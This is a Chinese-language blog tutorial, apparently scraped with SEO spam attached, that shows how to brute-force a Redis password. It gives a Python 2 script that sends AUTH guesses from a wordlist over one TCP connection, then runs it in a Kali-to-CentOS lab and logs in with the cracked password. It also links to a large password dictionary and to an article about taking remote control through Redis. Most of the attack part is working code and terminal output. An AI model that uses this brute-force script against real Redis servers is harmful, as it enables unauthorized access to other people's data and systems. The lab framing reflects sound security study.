当前位置: 首页 > news >正文

网站维护很难吗贵州网站建设hsyunso

网站维护很难吗,贵州网站建设hsyunso,钢结构东莞网站建设,宁德seo优化血的教训------入侵redis之利用python来破解redis密码 利用强大的python来进行redis的密码破解#xff0c;过程不亦乐乎#xff0c;当然也可以用shell脚本 本篇文章只供学习交流#xff0c;请勿他用#xff0c;谢谢。 其他相关联的文章 [1]VMware安装部署kail镜像服务器【…血的教训------入侵redis之利用python来破解redis密码 利用强大的python来进行redis的密码破解过程不亦乐乎当然也可以用shell脚本 本篇文章只供学习交流请勿他用谢谢。 其他相关联的文章 [1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】 [2]VMware上面安装部署centos7镜像系统【详细含镜像 [3]Centos7上面部署redis [4]血的教训—入侵redis并远程控制你的机器场景复现 这里使用的是kail系统主要原因有两点1、可以吸引下大家2、上面直接就有python不用自己安装当然了咱这用的是python2也可以普通的linux服务器上面也有所以主要的原因就是第一点吧哈哈哈哈 环境需要 操作系统ip描述kail192.168.126.138使用python来进行redis的密码破解centos7192.168.126.129部署redis-server来被破解 直接看python脚本 想这种脚本网上还是比较多的主要是要找到一个可以自己使用的 #!/usr/bin/env python # -*- coding: utf-8 -*-import socket import sysredisCrackFilepasswd.txt #破解密码文件需要单独准备ip192.168.144.128 ###redis-server的ip地址 port6379 ###redis-server的端口 ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) #建立tcp连接 with open(redisCrackFile,r) as f:for i in f:s.send(auth %s %(i)) #在一个tcp连接里多次使用auth命令猜测authResults.recv(1024)if OK in authResult:print the redis pass is:%s %is.close()sys.exit(0)启动redis 如果不知道怎么部署redis请看另一篇文章切记一定要给redis配置密码要不咱破解密码就是个寂寞 [rootlocalhost redis-3.0.4]# cd src/ [rootlocalhost src]# ./redis-server ../redis.conf 66895:M 27 Nov 00:17:24.602 * Increased maximum number of open files to 10032 (it was originally set to 1024)._.__.-__ -.__.- . _. -._ Redis 3.0.4 (00000000/0) 64 bit.- .-. \/ _.,_ -._( , .- | , ) Running in standalone mode|-._-...- __...-.-._| _.-| Port: 6379| -._ ._ / _.- | PID: 66895-._ -._ -./ _.- _.-|-._-._ -.__.- _.-_.-|| -._-._ _.-_.- | http://redis.io-._ -._-.__.-_.- _.-|-._-._ -.__.- _.-_.-|| -._-._ _.-_.- |-._ -._-.__.-_.- _.--._ -.__.- _.--._ _.--.__.-66895:M 27 Nov 00:17:24.604 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128. 66895:M 27 Nov 00:17:24.604 # Server started, Redis version 3.0.4 66895:M 27 Nov 00:17:24.604 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add vm.overcommit_memory 1 to /etc/sysctl.conf and then reboot or run the command sysctl vm.overcommit_memory1 for this to take effect. 66895:M 27 Nov 00:17:24.604 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command echo never /sys/kernel/mm/transparent_hugepage/enabled as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled. 66895:M 27 Nov 00:17:24.604 * The server is now ready to accept connections on port 6379###redis-server已经正常启动启动端口为6379打开kail服务器 启动一个终端 准备passwd.txt密码本 ┌──(liushuai㉿kali)-[~] └─$ ┌──(liushuai㉿kali)-[~] └─$ vim passwd.txt ┌──(liushuai㉿kali)-[~] └─$ cat passwd.txt 1 2 3 4 aadas fdfsd fvsdfgd gfdgdf bdfgdf 123456 123 htrhdf4r3e4 adswerwe ┌──(liushuai㉿kali)-[~] └─$ 如果需要其他的更强大的密码本的话不建议来下面下载哈哈哈 100亿以上精准密码字典 编写python脚本 ┌──(liushuai㉿kali)-[~] └─$ vim redis-stack.py┌──(liushuai㉿kali)-[~] └─$ cat redis-stack.py #!/usr/bin/env python # -*- coding: utf-8 -*-import socket import sysredisCrackFilepasswd.txt #破解密码文件ip192.168.126.129 port6379 ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) #建立tcp连接 with open(redisCrackFile,r) as f:for i in f:s.send(auth %s %(i)) #在一个tcp连接里多次使用auth命令猜测authResults.recv(1024)if OK in authResult:print the redis pass is:%s %is.close()sys.exit(0)┌──(liushuai㉿kali)-[~] └─$ 执行脚本 ┌──(liushuai㉿kali)-[~] └─$ vim redis-stack.py┌──(liushuai㉿kali)-[~] └─$ python2 redis-stack.py the redis pass is:123456┌──(liushuai㉿kali)-[~] └─$ 主要看咱们用的是python2python3执行这个脚本会报错如下 kail默认的python是python3,这个脚本其实就print函数在2和3中有区别2中的print函数不需要(),但是python3中需要print()。这个就是报错的原因如果有兴趣的话可以自己改一下脚本然后再执行以下看看效果 通过上图咱们已经知道了redis的密码为123456 测试连接redis-server 如果要连接redis-server的话我们就得需要一个redis-cli端来进行连接方法有很多中 获取redis-cli的方法建议第二种 1、直接在部署redis-server的服务器上面把redis-cli这个二进制文件复制粘贴到我们的kail就可以使用redis-cli与我们启动redis-server的是在一个目录下面 2、咱的kail上面直接安装部署一个redis,再者安装部署也是非常简答粗暴的 部署redis服务 下载源码包 ┌──(liushuai㉿kali)-[~] └─$ wget https://download.redis.io/releases/redis-3.0.4.tar.gz --2023-11-27 13:40:23-- https://download.redis.io/releases/redis-3.0.4.tar.gz Resolving download.redis.io (download.redis.io)... 45.60.125.1 Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://download.redis.io/releases/redis-3.0.4.tar.gz [following] --2023-11-27 13:40:38-- https://download.redis.io/releases/redis-3.0.4.tar.gz Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1364993 (1.3M) [application/octet-stream] Saving to: ‘redis-3.0.4.tar.gz’redis-3.0.4.tar.gz 100%[] 1.30M 2.52MB/s in 0.5s 2023-11-27 13:40:39 (2.52 MB/s) - ‘redis-3.0.4.tar.gz’ saved [1364993/1364993] 解压源码包 ┌──(liushuai㉿kali)-[~] └─$ tar -xvf redis-3.0.4.tar.gz redis-3.0.4/ redis-3.0.4/.gitignore redis-3.0.4/00-RELEASENOTES redis-3.0.4/BUGS redis-3.0.4/CONTRIBUTING redis-3.0.4/COPYING redis-3.0.4/INSTALL redis-3.0.4/MANIFESTO redis-3.0.4/Makefile redis-3.0.4/README redis-3.0.4/deps/ redis-3.0.4/deps/Makefile redis-3.0.4/deps/hiredis/ redis-3.0.4/deps/hiredis/.gitignore redis-3.0.4/deps/hiredis/.travis.yml redis-3.0.4/deps/hiredis/CHANGELOG.md redis-3.0.4/deps/hiredis/COPYING redis-3.0.4/deps/hiredis/Makefile ********省略好多********************** redis-3.0.4/utils/lru/ redis-3.0.4/utils/lru/README redis-3.0.4/utils/lru/test-lru.rb redis-3.0.4/utils/mkrelease.sh redis-3.0.4/utils/redis-copy.rb redis-3.0.4/utils/redis-sha1.rb redis-3.0.4/utils/redis_init_script redis-3.0.4/utils/redis_init_script.tpl redis-3.0.4/utils/speed-regression.tcl redis-3.0.4/utils/whatisdoing.sh进行编译 ──(liushuai㉿kali)-[~] └─$ cd redis-3.0.4 ┌──(liushuai㉿kali)-[~/redis-3.0.4] └─$ make make install cd src make all make[1]: Entering directory /home/liushuai/redis-3.0.4/src rm -rf redis-server redis-sentinel redis-cli redis-benchmark redis-check-dump redis-check-aof *.o *.gcda *.gcno *.gcov redis.info lcov-html (cd ../deps make distclean) make[2]: Entering directory /home/liushuai/redis-3.0.4/deps (cd hiredis make clean) /dev/null || true (cd linenoise make clean) /dev/null || true (cd lua make clean) /dev/null || true (cd jemalloc [ -f Makefile ] make distclean) /dev/null || true (rm -f .make-*) make[2]: Leaving directory /home/liushuai/redis-3.0.4/deps (rm -f .make-*) echo STD-stdc99 -pedantic .make-settings echo WARN-Wall -W .make-settings echo OPT-O2 .make-settings echo MALLOCjemalloc .make-settings echo CFLAGS .make-settings echo LDFLAGS .make-settings echo REDIS_CFLAGS .make-settings echo REDIS_LDFLAGS .make-settings echo PREV_FINAL_CFLAGS-stdc99 -pedantic -Wall -W -O2 -g -ggdb -I../deps/hiredis -I../deps/linenoise -I../deps/lua/src -DUSE_JEMALLOC -I../deps/jemalloc/include .make-settings echo PREV_FINAL_LDFLAGS -g -ggdb -rdynamic .make-settings (cd ../deps make hiredis linenoise lua jemalloc) make[2]: Entering directory /home/liushuai/redis-3.0.4/deps (cd hiredis make clean) /dev/null || true (cd linenoise make clean) /dev/null || true *****************省略好多********************* redis-check-aof.c:141:9: note: in expansion of macro ‘ERROR’141 | ERROR(Reached EOF before reading EXEC for MULTI);| ^~~~~LINK redis-check-aofHint: Its a good idea to run make test ;)make[1]: Leaving directory /home/liushuai/redis-3.0.4/src cd src make install make[1]: Entering directory /home/liushuai/redis-3.0.4/srcHint: Its a good idea to run make test ;)INSTALL install install: cannot create regular file /usr/local/bin/redis-server: Permission denied make[1]: *** [Makefile:249: install] Error 1 make[1]: Leaving directory /home/liushuai/redis-3.0.4/src make: *** [Makefile:9: install] Error 2 ####发现有报错但是我们不管他因为这个不是我们主要要的 ##我们主要要的是redis-cli这个命令 ┌──(liushuai㉿kali)-[~/redis-3.0.4] └─$ cd src ┌──(liushuai㉿kali)-[~/redis-3.0.4/src] └─$ ll redis-cli -rwxr-xr-x 1 liushuai liushuai 2034704 Nov 27 13:47 redis-cli ###看见这个二进制文件已经存在我们测试下可以正常使用不 测试连接 ┌──(liushuai㉿kali)-[~/redis-3.0.4/src] └─$ ./redis-cli -h 192.168.126.129 -p 6379 -a 123456 192.168.126.129:6379 set a 6 OK 192.168.126.129:6379 get a 6 192.168.126.129:6379 经过测试密码已经破解出来并且可以正常连接redis-server 结束语 努力肯定很累但是一定很快乐 可以看看其他相关联的文章 [1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】 [2]VMware上面安装部署centos7镜像系统【详细含镜像 [3]Centos7上面部署redis [4]血的教训—入侵redis并远程控制你的机器场景复现
http://www.hkea.cn/news/14478763/

相关文章:

  • 绵阳建设局网站如何制作自己的网站图?
  • dnf怎么做辅助网站服务器安全模式怎么进
  • 上海旅游网站建设网站规划 设计 制作 发布与管理过程
  • 沙发网站建设关于电商网站建设与管理的书籍
  • 定制化网站开发费用公司网站设计很好的
  • 做企业网站什么软件好做spa的网站怎么推广
  • 在线医疗网站建设官方网站百度一下
  • 网站头部样式个人小程序怎么做
  • 网站建设明薇通网络网站建设 小影seo
  • 自己做图网站seo方案
  • 抚州企业网站做优化个人网站设计成品下载
  • 容桂销售型网站建设门户网站简单模板
  • 卖汽车怎么做网站wordpress 國内加速
  • 便宜虚拟主机做网站备份沪尚茗居装修价格怎样
  • 网站邮箱怎么做的如何做网站产品经理
  • 农村网站建设的意义云服务器怎么做网站
  • 上海注册建网站网站创意设计方案
  • 网站建设公司 壹宇网络学做网站需要买什么书
  • 网站仿站局域网网页制作
  • 京东网站的公司地址西安招聘网最新招聘
  • 本地网站服务器搭建广西建设监理协会网站
  • 杭州网站运营江苏城乡建设学校网站
  • 东莞建网站哪家强建设学校网站的原因
  • 中山外贸营销网站建设鼓楼网站开发
  • seo整站优化更能准确获得客户广告传媒公司名称
  • 安徽富通建设集团有限公司网站12355能找回智慧团建密码吗
  • 网站logo上传怎么创建一个网页
  • 邮箱的官方网站注册wp网站源码
  • 惠州有哪些做网站的公司哈尔滨建设工程网
  • 软件ui设计怎么做网站创新创意设计作品